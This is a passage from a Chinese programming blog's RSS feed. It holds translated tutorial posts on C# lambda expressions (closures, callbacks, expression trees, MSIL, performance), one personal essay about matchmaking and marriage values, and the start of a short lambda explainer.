	public Example(IHaveThatFunction mother)
	{
		//传递的对象必须有我们要用的方法
		Perform = mother.TheCorrespondingFunction;
	}

	public Example(string methodSource)
	{
		//Compile方法是任意的。
		Perform = Compile(methodSource);
	}
}
&lt;/pre&gt; 
&lt;p&gt;即时这个例子看起来如我们所愿被构造了。让阿尔。大多数情况下只使用前两种，但是随着领域特性语言，编译器，日志框架，数据访问层和其他很多情况下，通常有很多方式可以完成，但Lambda表达式也许是最优雅的。&lt;/p&gt;
&lt;p&gt;考虑这种情况，我们可以在函数编程领域体会到即时调用方法表达式的好处，我们可以看到C#中IIFE的一种用法。用的不多。但是我认为真的很好。但不是用在这种情况下。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Func&amp;lt;double, double&amp;gt; myfunc;
var firstValue = (myfunc = (x) =&amp;gt; {
	return 2.0 * x * x - 0.5 * x;
})(1);
var secondValue = myfunc(2);
//...&lt;/pre&gt; 
&lt;p&gt;我们也可以使用即时调用方法来防止一些确定的非静态的方法被重复调用。这就会出现自定义方法和初始时间分支和IIFE的组合使用了。&lt;/p&gt;
&lt;p&gt;下一节介绍一些新的Lambda设计模式&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第四部分</title>
      <link>http://blog.leaver.me/2012/12/24/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86/</link>
      <pubDate>Mon, 24 Dec 2012 19:20:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/24/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;首先祝大家平安夜快乐。本篇介绍一些流行的JavaScript模式。为下一篇打基础&lt;/p&gt;
&lt;p&gt;使用/了解JavaScript的一个好处就是函数的高级用法。。在JavaScript里。函数仅仅是对象。他们可以有赋给他们的属性。而在C#中。我们不能做我们可以在JavaScript的全部事情。但是我们仍然可以做些事情。一个原因是JavaScript在函数里给变量以作用域。因此，不得不通过创建函数，大多数情况是匿名的来定位变量。而在C#中。通过使用块，通过花括号来创建作用域&lt;/p&gt;
&lt;p&gt;当然，换种方式来说。C#中，函数也会给变量作用域。通过使用Lambda表达式。我们通过花括号在其里面创建了一个变量。然而。我们也可以局部的创建作用域。&lt;/p&gt;
&lt;p&gt;我们来看看通过使用Lambda表达式可以实现一些在JavaScript里面有用的模式把。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;回调模式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个模式是个老的模式。事实上。回调模式从.net 的第一版就开始使用了。但是是以一种很简单的方式实现的。而现在。通过使用Lambda表达式。闭包，捕获变量等特性能够允许我们写出如下的代码来。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;void CreateTextBox()
{
	var tb = new TextBox();
	tb.IsReadOnly = true;
	tb.Text = &#34;Please wait ...&#34;;
	DoSomeStuff(() =&amp;gt; {
		tb.Text = string.Empty;
		tb.IsReadOnly = false;
	});
}

void DoSomeStuff(Action callback)
{
	// Do some stuff - asynchronous would be helpful ...
	callback();
}&lt;/pre&gt; 
&lt;p&gt;对于JavaScript程序员会觉得这没什么啊。他们使用这个模式太多了。然而，它非常有用。因为我们可以使用参数作为Ajax相关事件的事件处理器（比如oncompleted，onsuccess），等等。如果你使用LINQ，那么你可能也会用到回调模式的一些东西。举个例子。LINQ的where子句将会在每一次迭代中回调你的查询语句。这只是回调函数的一个例子。在.net的世界里。事件如它名字所暗示的那样。通常是事件处理的首选方法。这有时候很像一个回调。他有两个参数。有一个特殊的关键字和一个类型模式（两个参数分别是sender和arguments，sender通常是object类型。Arguments通常继承自EventArgs）
可以通过+= 和-=给事件添加/删除事件处理程序。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;返回方法&lt;/strong&gt;
和普通的方法比较。Lambda表达式也可以返回一个方法指针（就是一个委托实例），这意味着我们可以使用Lambda表达式创建/返回一个lambda表达式（或者今年仅是一个已定义好的方法的委托实例），大量的情况下。这个模式也很有用。首先看一下例子。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Func&amp;lt;string, string&amp;gt; SayMyName(string language)
{
	switch(language.ToLower())
	{
		case &#34;fr&#34;:
			return name =&amp;gt; {
				return &#34;Je m&#39;appelle &#34; + name + &#34;.&#34;;
			};
		case &#34;de&#34;:
			return name =&amp;gt; {
				return &#34;Mein Name ist &#34; + name + &#34;.&#34;;
			};
		default:
			return name =&amp;gt; {
				return &#34;My name is &#34; + name + &#34;.&#34;;
			};
	}
}

void Main()
{
	var lang = &#34;de&#34;;
	//Get language - e.g. by current OS settings
	var smn = SayMyName(lang);
	var name = Console.ReadLine();
	var sentence = smn(name);
	Console.WriteLine(sentence);
}&lt;/pre&gt; 
&lt;p&gt;代码本应该更短些。我们可以让default如果请求的语言没有找到。只是抛出一个异常即可。不过。这个例子展示了这是一种方法工厂。另一种同等效果的方法是包含一个Hashtable。或者更好的话用Dictionary&amp;lt;K, V&amp;gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第三部分</title>
      <link>http://blog.leaver.me/2012/12/20/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86/</link>
      <pubDate>Thu, 20 Dec 2012 20:12:54 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/20/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;背后的秘密-MSIL&lt;/p&gt;
&lt;p&gt;通过著名的LINQPad，我们可以更深入的查看MSIL代码而没有任何秘密。下图是一个LINQPad的使用截图
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/30624_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2cc26ed754b0ac72d7caf372a917ef44d327d51a.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我们会看三个例子，第一个Lambda表达式如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Action&amp;lt;string&amp;gt; DoSomethingLambda = (s) =&amp;gt;
{
	Console.WriteLine(s);// + local
};&lt;/pre&gt; 
&lt;p&gt;对应的普通函数是这样的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Action&amp;lt;string&amp;gt; DoSomethingLambda = (s) =&amp;gt;
{
	Console.WriteLine(s);// + local
};
&lt;/pre&gt; 
&lt;p&gt;生成的MSIL代码片段如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;DoSomethingNormal:
IL_0000:  nop         
IL_0001:  ldarg.1     
IL_0002:  call        System.Console.WriteLine
IL_0007:  nop         
IL_0008:  ret         
&amp;lt;Main&amp;gt;b__0:
IL_0000:  nop         
IL_0001:  ldarg.0     
IL_0002:  call        System.Console.WriteLine
IL_0007:  nop         
IL_0008:  ret       &lt;/pre&gt; 
&lt;p&gt;最大的不同是方法的名称用法不同。而不是声明。事实上。声明是完全一样的。编译器在类里面创建了一个新的方法来实现这个方法。这没什么新东西，仅仅是为了我们使用Lambda表达式方便代码编写。从MSIL代码中，我们做了同样的事情。在当前对象里调用了一个方法。&lt;/p&gt;
&lt;p&gt;我们在下图里演示一下编译器所做的修改。在这个图例。我们可以看到编译器把Lambda表达式移动成了一个固定的方法。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/30625_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1500b574e9e4fd0cfb11b286eaff270102810b02.png&#34;&gt;&lt;/a&gt;
第二个例子将展示Lambda表达式真正的奇妙之处，在这个例子里。我们既使用了有着全局变量的普通方法也使用了有捕获变量的Lambda表达式。代码如下&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;void Main()
{
	int local = 5;

	Action&amp;lt;string&amp;gt; DoSomethingLambda = (s) =&amp;gt; {
		Console.WriteLine(s + local);
	};

	global = local;

	DoSomethingLambda(&#34;Test 1&#34;);
	DoSomethingNormal(&#34;Test 2&#34;);
}

int global;

void DoSomethingNormal(string s)
{
	Console.WriteLine(s + global);
}
&lt;/pre&gt; 
&lt;p&gt;没什么不同的似乎。关键是：lambda表达式如何被编译器处理&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;IL_0000:  newobj      UserQuery+&amp;lt;&amp;gt;c__DisplayClass1..ctor
IL_0005:  stloc.1     
IL_0006:  nop         
IL_0007:  ldloc.1     
IL_0008:  ldc.i4.5    
IL_0009:  stfld       UserQuery+&amp;lt;&amp;gt;c__DisplayClass1.local
IL_000E:  ldloc.1     
IL_000F:  ldftn       UserQuery+&amp;lt;&amp;gt;c__DisplayClass1.&amp;lt;Main&amp;gt;b__0
IL_0015:  newobj      System.Action&amp;lt;System.String&amp;gt;..ctor
IL_001A:  stloc.0     
IL_001B:  ldarg.0     
IL_001C:  ldloc.1     
IL_001D:  ldfld       UserQuery+&amp;lt;&amp;gt;c__DisplayClass1.local
IL_0022:  stfld       UserQuery.global
IL_0027:  ldloc.0     
IL_0028:  ldstr       &#34;Test 1&#34;
IL_002D:  callvirt    System.Action&amp;lt;System.String&amp;gt;.Invoke
IL_0032:  nop         
IL_0033:  ldarg.0     
IL_0034:  ldstr       &#34;Test 2&#34;
IL_0039:  call        UserQuery.DoSomethingNormal
IL_003E:  nop         

DoSomethingNormal:
IL_0000:  nop         
IL_0001:  ldarg.1     
IL_0002:  ldarg.0     
IL_0003:  ldfld       UserQuery.global
IL_0008:  box         System.Int32
IL_000D:  call        System.String.Concat
IL_0012:  call        System.Console.WriteLine
IL_0017:  nop         
IL_0018:  ret         

&amp;lt;&amp;gt;c__DisplayClass1.&amp;lt;Main&amp;gt;b__0:
IL_0000:  nop         
IL_0001:  ldarg.1     
IL_0002:  ldarg.0     
IL_0003:  ldfld       UserQuery+&amp;lt;&amp;gt;c__DisplayClass1.local
IL_0008:  box         System.Int32
IL_000D:  call        System.String.Concat
IL_0012:  call        System.Console.WriteLine
IL_0017:  nop         
IL_0018:  ret         

&amp;lt;&amp;gt;c__DisplayClass1..ctor:
IL_0000:  ldarg.0     
IL_0001:  call        System.Object..ctor
IL_0006:  ret      
&lt;/pre&gt; 
&lt;p&gt;和第一个例子一样。机制相同。编译器把lambda表达式移动到一个方法里。但是不同的是，编译器这次还生成了一个类。编译器为我们的lambda表达式生成的方法会放在类里，这就给了捕获的变量一个全局的作用域，通过这样。Lambda表达式可以访问局部变量。因为在MSIL里。它是类实例里面的一个全局变量。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第二部分</title>
      <link>http://blog.leaver.me/2012/12/19/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86/</link>
      <pubDate>Wed, 19 Dec 2012 20:03:20 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/19/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86/</guid>
      <description>&lt;h1 id=&#34;闭包的影响&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;闭包的影响&lt;/span&gt;&lt;/h1&gt;
&lt;p&gt;为了展示闭包的影响，我们看下面这个例子。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var buttons = new Button[10];

for(var i = 0; i &amp;lt; buttons.Length; i++)
{
	var button = new Button();
	button.Text = (i + 1) + &#34;. Button - Click for Index!&#34;;
	button.OnClick += (s, e) =&amp;gt; { Messagebox.Show(i.ToString()); };
	buttons[i] = button;
}
//如果我们点击按钮会发生什么&lt;/pre&gt;
&lt;p&gt;这个问题很怪，我在我的JavaScript课程上经常问我的学生。95%的学生会说。显然按钮0显示0，按钮1显示1，等等。而不足5%的学生学习了闭包之后会明白。所有的按钮都会显示10.&lt;/p&gt;
&lt;p&gt;局部变量i的值改变了。并且等于buttons.Length。也就是10了。想要避免这个诡异的情况也很简单。如下就行了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var button = new Button();
var index = i;
button.Text = (i + 1) + &#34;. Button - Click for Index!&#34;;
button.OnClick += (s, e) =&amp;gt; { Messagebox.Show(index.ToString()); };
buttons[i] = button;&lt;/pre&gt;
&lt;p&gt;问题解决了，但是index变量是一个值类型，因此保留了“全局”i的一个拷贝&lt;/p&gt;
&lt;p&gt;最后一个话题是一个叫做表达式树的东西，他和Lambda表达式协作。并且，他会使得在ASP.NET MVC中的Html扩展方法发生一些很奇妙的东西。关键的问题是：如何发现目标函数&lt;/p&gt;
&lt;p&gt;1. 传递进去的变量的名称是什么
2. 方法的主体是什么
3. 函数体里使用了什么类型&lt;/p&gt;
&lt;p&gt;Expression 解决了这些问题，他允许我们挖掘生成的表达式树，我们也可以执行传递给Func和Action委托的函数，而且，可以在运行时解析Lambda表达式&lt;/p&gt;
&lt;p&gt;我们看一下如何使用Expression 类型的例子&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Expression&amp;lt;Func&amp;lt;MyModel, int&amp;gt;&amp;gt; expr = model =&amp;gt; model.MyProperty;
var member = expr.Body as MemberExpression;
var propertyName = memberExpression.Member.Name; //当 member != null的时候执行  ...&lt;/pre&gt;
&lt;p&gt;这是Expression最简单的用法了。规则也相当直接。通过构建一个Expression类型的对象。编译器为生成的解释树生成一些元数据。这个解释树包含所有相关的信息，比如参数和方法体。&lt;/p&gt;
&lt;p&gt;方法体包含完整的解释树，我们可以访问这些操作。就像完整的语句一样。也可以操作返回指和类型。当然，返回可以为null，无论如此。大多数情况下。我们对表达式很感兴趣。这和ASP.NET MVC中处理Expression类型的方法是很相似的—可以得到使用的参数的名字，而好处是显而易见的。不会出现名称拼写错误了。也就不会出现因此而出现的编译错误了。&lt;/p&gt;
&lt;p&gt;注意：当程序员仅仅对调用的属性的名字感兴趣的时候。有一个更简单，更优雅的解决方案，那就是参数特性CallerMemberName 这个特性可以得到调用方法/属性的名称。而字段被编译器自动填充。因此，如果我们仅仅想知道名字，而不想知道其他更多的信息，那么我我们只需要写出像下面这个例子里的代码就行了。通过调用WhatsMyName() 方法可以返回方法的名字&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;string WhatsMyName([CallerMemberName] string callingName = null)
{
    return callingName;
}&lt;/pre&gt;
&lt;h1 id=&#34;lambda表达式的性能&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;Lambda表达式的性能&lt;/span&gt;&lt;/h1&gt;
&lt;p&gt;有一个很大的问题：Lambda表达式有多快？好吧。首先，我们期望他们能和我们一般的函数一样快。下一节里。我们会看到Lambda的MSIL代码和普通的函数没有太大的不同。&lt;/p&gt;
&lt;p&gt;最有趣的一个讨论是如果Lambda表达式产生了闭包，将会和使用全局变量的方法一样快。这就产生了一个有趣的问题，和一个区域内局部变量的数目多少会有关系吗？&lt;/p&gt;
&lt;p&gt;我们看看测试代码，通过4个不同的指标，我们可以看到普通方法和Lambda方法的不同。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;
using System.Collections.Generic;
using System.Diagnostics;

namespace LambdaTests
{
	class StandardBenchmark : Benchmark
    {
		const int LENGTH = 100000;
        static double[] A;
		static double[] B;

        static void Init()
        {
            var r = new Random();
            A = new double[LENGTH];
            B = new double[LENGTH];

            for (var i = 0; i &amp;lt; LENGTH; i++)
            {
                A[i] = r.NextDouble();
                B[i] = r.NextDouble();
            }
        }

        static long LambdaBenchmark()
        {
            Func&amp;lt;double&amp;gt; Perform = () =&amp;gt;
            {
                var sum = 0.0;

                for (var i = 0; i &amp;lt; LENGTH; i++)
                    sum += A[i] * B[i];

                return sum;
            };
            var iterations = new double[100];
            var timing = new Stopwatch();
            timing.Start();

            for (var j = 0; j &amp;lt; iterations.Length; j++)
                iterations[j] = Perform();

            timing.Stop();
            Console.WriteLine(&#34;Time for Lambda-Benchmark: \t {0}ms&#34;, timing.ElapsedMilliseconds);
            return timing.ElapsedMilliseconds;
        }

        static long NormalBenchmark()
        {
            var iterations = new double[100];
            var timing = new Stopwatch();
            timing.Start();

            for (var j = 0; j &amp;lt; iterations.Length; j++)
                iterations[j] = NormalPerform();

            timing.Stop();
            Console.WriteLine(&#34;Time for Normal-Benchmark: \t {0}ms&#34;, timing.ElapsedMilliseconds);
            return timing.ElapsedMilliseconds;
        }

        static double NormalPerform()
        {
            var sum = 0.0;

            for (var i = 0; i &amp;lt; LENGTH; i++)
                sum += A[i] * B[i];

            return sum;
        }
    }
}&lt;/pre&gt;
&lt;p&gt;本来用Lambda表达式我们可以把代码写的更好。最终我没有这样做。是为了防止影响看最后的结果。因此，本质上。上述代码里有三个方法
1个是Lambda测试，一个是普通测试，还有一个是在普通测试里调用的方法。而没有的第四个方法其实是我们的lambda表达式。在第一个方法里已经创建了。计算过程很简单，我们随机取数字防止编译器做任何优化。最后我们对普通方法和Lambda方法的不同很有兴趣。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第一部分</title>
      <link>http://blog.leaver.me/2012/12/18/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86/</link>
      <pubDate>Tue, 18 Dec 2012 19:38:42 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/18/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;好长时间没发技术文章了，恰好看到一篇非常详细的Lambda文章。一边翻译一边学习。题目好像有点霸气。。&lt;/p&gt;
&lt;h1 id=&#34;介绍&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;&lt;strong&gt;介绍&lt;/strong&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;p&gt;Lambda表达式是使代码更加动态，易于扩展并且更加快速（看完本文你就知道原因了）的强有力的工具。也可以用来降低潜在的错误。同时可以利用静态输入和智能提示，就像VS里一样。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Lambda表达式在.net framework 3.5中提出来。并且在LINQ和ASP.NET MVC内部的一些技术中扮演了相当重要的角色。如果你考虑一下ASP.NET MVC中各类控件的实现。你就发现。奥妙就是他们大多使用了Lambda表达式。和Lambda表达式一起，使用Html扩展方法将会使得在后台创建模型成为可能。&lt;/p&gt;
&lt;p&gt;本文会讲到如下的知识。&lt;/p&gt;
&lt;p&gt;1.简短的介绍-Lambda表达式是什么，以及为什么和匿名方法不同（之前我们使用的）
2.走近Lambda表达式的性能-在哪些情况下比起标准方法，Lambda会提高/损失性能
3.深入-Lambda表达式在MSIL代码中是什么样
4.一些来自JS世界的模式映射到C#中
5.那些能够提高性能，并且代码看起来相当舒服的使用Lambda的情况。
6.一些我提出的新模式-当然有可能别人也提出来了。但这是我的思考结果。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;如果你期望本文是一篇入门教程我可能要让你失望了，除非你真的很优秀并且很聪明，当然我不是这种人，所以我也想提前声明一下：为了读懂这篇文章你可能需要C#的一些高级知识，并且对C#比较了解。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;你应该期望本文试着解释一些事情给你，也会解释一些有趣的问题，至少对我来说是这样的。最后我会展示一些实际的例子和模式，如我所说，Lambda表达式简化了很多情况。因此写显式的模式很有用。&lt;/p&gt;
&lt;h1 id=&#34;背景知识-什么是lambda表达式&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;&lt;strong&gt;背景知识-什么是Lambda表达式&lt;/strong&gt;&lt;/span&gt;&lt;/h1&gt;
&lt;p&gt;在C#1.0中，委托被提出了，它使得传递函数成为可能，一句话就是委托就是强类型的函数指针，但委托比指针更强大。一般传递一个函数需要如下几步。
1. 写一个委托（就像一个类）包含返回类型和参数类型
2. 使用委托作为某一个函数的参数类型，这样，该函数就可以接受和委托描述的有着相同签名的函数了
3. 将一个委托类型的函数传递给委托，创建一个委托实例。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;如果听起来很复杂，确实本来很复杂，但这是必需的。（虽然不是造火箭，但是比你认为的要更多的代码），然而步骤三不是必需的，编译器会为你做他，但是步骤1和2却是必不可少的。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;幸运的是C#2.0出现了泛型，现在我们也可以写泛型类，方法，更重要的是，泛型委托，然而，直到.net framework 3.5的时候。微软意识到实际上只有两种泛型委托（当然有一些不同的重载），会覆盖99%的使用情况：&lt;/p&gt;
&lt;p&gt;1.Action 没有任何输入参数，也没有输出参数。
2.Action&amp;lt;t1,…t16&amp;gt; 需要1-16个参数，没有输出参数。
3.Func&amp;lt;t1….t16,tout&amp;gt;需要0-16个参数，一个输出参数&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;Action和其对应的泛型版本（仅仅是一个动作，执行一些事情）返回void的时候。Func则可以返回最后一个参数指定的类型，通过这两个委托类型，我们事实上，大部分情况下。前面提到的三步中的第一部就不用写的。而第二步仍然需要。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;那么如果我们想要运行代码的时候怎么做呢。在C#2.0中问题已经可以解决了。在这个版本里。我们可以创建委托方法，也就是一个匿名方法，然后这个语法一直未能流行起来，一个相当简化的匿名方法的版本类似这样：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Func&amp;lt;double, double&amp;gt;  square = delegate (double x) {
return x * x;
}&lt;/pre&gt;
&lt;p&gt;为了提高这种语法，欢迎来到Lambda表达式的国度。首先，这个Lambda名字怎么来的？事实上。来自于数学上的λ演算，更准确的说他是数学中一个正式的系统。用于通过变量绑定和替换来进行表达式计算，所以我们有0-N个输入参数和一个返回值，而在编程中，也可以没有返回值&lt;/p&gt;
&lt;h1 id=&#34;我们看一下lambda表达式的一些例子&#34;&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;我们看一下Lambda表达式的一些例子&lt;/span&gt;&lt;/h1&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;//编译器可以识别，然后就可以通过dummyLambda();来调用了
var dummyLambda = () =&amp;gt; { Console.WriteLine(&#34;Hallo World from a Lambda expression!&#34;); };

//可以通过类似 double y = square(25);来使用
Func&amp;lt;double, double&amp;gt; square = x =&amp;gt; x * x;

//可以通过类似double z = product(9, 5);来使用
Func&amp;lt;double, double,double&amp;gt; product = (x, y) =&amp;gt; x * y;

//可以通过类似printProduct(9, 5);来使用
Action&amp;lt;double, double&amp;gt; printProduct = (x, y) =&amp;gt; { Console.Writeline(x * y); };

//可以通过类似var sum = dotProduct(new double[] { 1, 2, 3 }, new double[] { 4, 5, 6 });
Func&amp;lt;double[], double[], double&amp;gt; dotProduct = (x, y) =&amp;gt; {
var dim = Math.Min(x.Length, y.Length);
var sum = 0.0;
for(var i = 0; i != dim; i++)
sum += x[i] + y[i];
return sum;
};

//可以通过类似 var result = matrixVectorProductAsync(...);使用
Func&amp;lt;double[,], double[], double[]=&#34;&#34;&amp;gt; matrixVectorProductAsync = async (x, y) =&amp;gt; {
var sum = 0.0;
/* do some stuff ... */
return sum;
};&lt;/pre&gt;
&lt;p&gt;从上面的代码段里我们可以学到一些东西&lt;/p&gt;</description>
    </item>
    <item>
      <title>从相亲延伸出的婚恋意义</title>
      <link>http://blog.leaver.me/2012/12/10/%E4%BB%8E%E7%9B%B8%E4%BA%B2%E5%BB%B6%E4%BC%B8%E5%87%BA%E7%9A%84%E5%A9%9A%E6%81%8B%E6%84%8F%E4%B9%89/</link>
      <pubDate>Mon, 10 Dec 2012 17:45:16 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/10/%E4%BB%8E%E7%9B%B8%E4%BA%B2%E5%BB%B6%E4%BC%B8%E5%87%BA%E7%9A%84%E5%A9%9A%E6%81%8B%E6%84%8F%E4%B9%89/</guid>
      <description>&lt;p&gt;相亲现在挺火的。。&lt;/p&gt;
&lt;p&gt;文章来自&lt;strong&gt;xiuloveshow&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;老妈说：“妈希望你找个家庭条件好点儿的，以后少吃苦，别走老妈的路！”。老爸说：“老爸没别的要求，就希望你找个家庭和睦的，这样的家庭教育出来的子女各方面都不会差到哪儿去，家庭条件爸不是特别看重”。老哥说：”这么大个村儿就你一个单身了，小心被剩下！“。朋友说：”咋总是忙着给别人介绍，赶紧把自己推销出去再说！”我说：我想找个在我不开心的时候，什么都不用做，就静静的呆在我旁边，即使是看着我哭也好。&lt;/p&gt;
&lt;p&gt;三毛说：看得不顺眼的话，千万富翁也不嫁；看得中意，亿万富翁也嫁。张小娴说：你走，我不送你。你来，无论多大风多大雨，我都要去接你。史铁生说：爱情就是在追求喜欢和爱，这二者同时达到便是爱的理想状态，爱就是一种理想。我说：嫁与不嫁，送与不送，喜欢与爱，我只想用我自己的方式去做人生最重要的选择，这种东西没有参数值，用完一次便没有了！&lt;/p&gt;
&lt;p&gt;之前为凑热闹跟一老乡去相亲，相亲的目标性特别强，大家都冲着结婚去的，他们从来不会凭感觉去判断这个人是否是自己中意的人。对方开口便问月工资多少？家里买房没？而男方像是履行一项任务或是已经习惯了这样一套开场白，还未等女方开口，从爷爷的退休工资开始说到自己的工资水平。这其中我没有听到任何一句关于心理沟通的话题，全是围绕物质展开的激烈对白。我有点儿后悔跟她去了，这让我看到了现代人最“真实”的婚恋观，我有些后怕！&lt;/p&gt;
&lt;p&gt;后来，我问老乡对男方的印象怎么样。她毫无掩饰的说：“家庭条件还可以，人也挺老实，没更好的就成了“”你到底想找个什么样的？”因为我不确定她的方向，作为女性擅有的八卦心态，我还是忍不住问了。“没什么特别的要求，只要有房，工资还可以，父母不要我们负担就好了。至于感情可以慢慢培养的！”她的表情很轻松，像是在述说一件很平常的事。我有些失望，像是在风和日丽的宁静之夏突然袭来的狂风暴雨。&lt;/p&gt;
&lt;p&gt;我想如果是我，我不一定要多大的房，多高的工资。物质和精神两个层面，我永远把精神排第一。两个人每天围绕着柴米油盐酱醋茶，围绕着生活中的琐琐碎碎，内心的苦闷却苦于找不到人述说。彼此不懂对方的世界，不懂爱好为何物，不懂兴趣乃何价，这样的恋爱，这样的婚姻多么的恐怖。我不希望半夜醒来向着电台诉说悲伤，乞求听众收容我的眼泪！&lt;/p&gt;
&lt;p&gt;如史铁生所说，爱乃一种理想。即为理想凭努力不一定能达到。喜欢一个人和爱一个人是完全不同的两种境界，喜欢一个人，当激情用尽之时，就只有靠着那张印着两个人照片的结婚证来维持彼此的关系，这种关系完全靠法律来维系。爱一个人，当你生老病死，激情褪去之后依然想着跟你白头到老。这些恐怕是一张房产证换不来的细水长流般的幸福。关于物质和精神，关于爱和不爱。物质已经主导了我们的价值取向，我们不再自已。物质可以让人放弃精神随时转变自身角色，爱也会因为物质变得不爱了。&lt;/p&gt;
&lt;p&gt;我已经很久没有听到关于爱的序曲了。物质可以这样轻易的扭曲爱的意义，我们追求的幸福到底为何物？ 当年因物质放弃了最宝贵的东西，最稀有的精神支撑，当你得到了你所有物质的满足，物质填充了你的欲望，你能坦然的对自己说你很幸福？当你开着宝马，驾着良驹，住着豪宅，驱着游艇，是否我们就幸福了？&lt;/p&gt;
&lt;p&gt;我努力学习，认真工作，享受音乐，沉侵阅读，爱好写作，喜欢画画，偶尔给老爸老妈给好朋友煲电话粥！我不依赖任何人，我不向任何人屈服！面对机会我不放弃，面对感情拿得起放得下，面对亲情我感动无疑！喜欢倾听，喜欢跟人交往，喜欢跟老人交谈…。消费过后还有金钱结余，偶尔向文字倾吐心声。继续等待着那个可以说话的人出现。自创的理想也可以很诗意！&lt;/p&gt;
&lt;p&gt;我希望的婚恋观如同我的生活般平静，如果你能走进我的世界，如果你懂我的世界，我们可以无话不谈。但似乎这变成了一种奢侈，我们就是简单的无话可说！你在你的世界游历，我在我的世界漫步，踽踽独行有何不可！&lt;/p&gt;</description>
    </item>
    <item>
      <title>3分钟理解Lambda表达式</title>
      <link>http://blog.leaver.me/2012/12/08/3%E5%88%86%E9%92%9F%E7%90%86%E8%A7%A3lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F/</link>
      <pubDate>Sat, 08 Dec 2012 19:26:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/08/3%E5%88%86%E9%92%9F%E7%90%86%E8%A7%A3lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F/</guid>
      <description>&lt;p&gt;&lt;strong&gt;1.什么是Lambda表达式&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lambda表达式是一个匿名方法，通常在LINQ中被用来创建委托&lt;/p&gt;
&lt;p&gt;简单来说。它是一个没有声明，没有访问修饰符，没有返回值。甚至没有名字的方法。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.为什么我们需要使用Lambda表达式？或者说为什么我们要写一个没有名字的函数？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了方便，这种快捷方式允许你在调用的地方直接编写代码，尤其是你想调用的代码只会在这个地方使用一次。并且方法体本身很短。节省了单独写方法中写声明等等的麻烦。。&lt;/p&gt;
&lt;p&gt;好处&lt;/p&gt;
&lt;p&gt;1.代码量减少。不必写方法的名称。返回值和访问修饰符&lt;/p&gt;
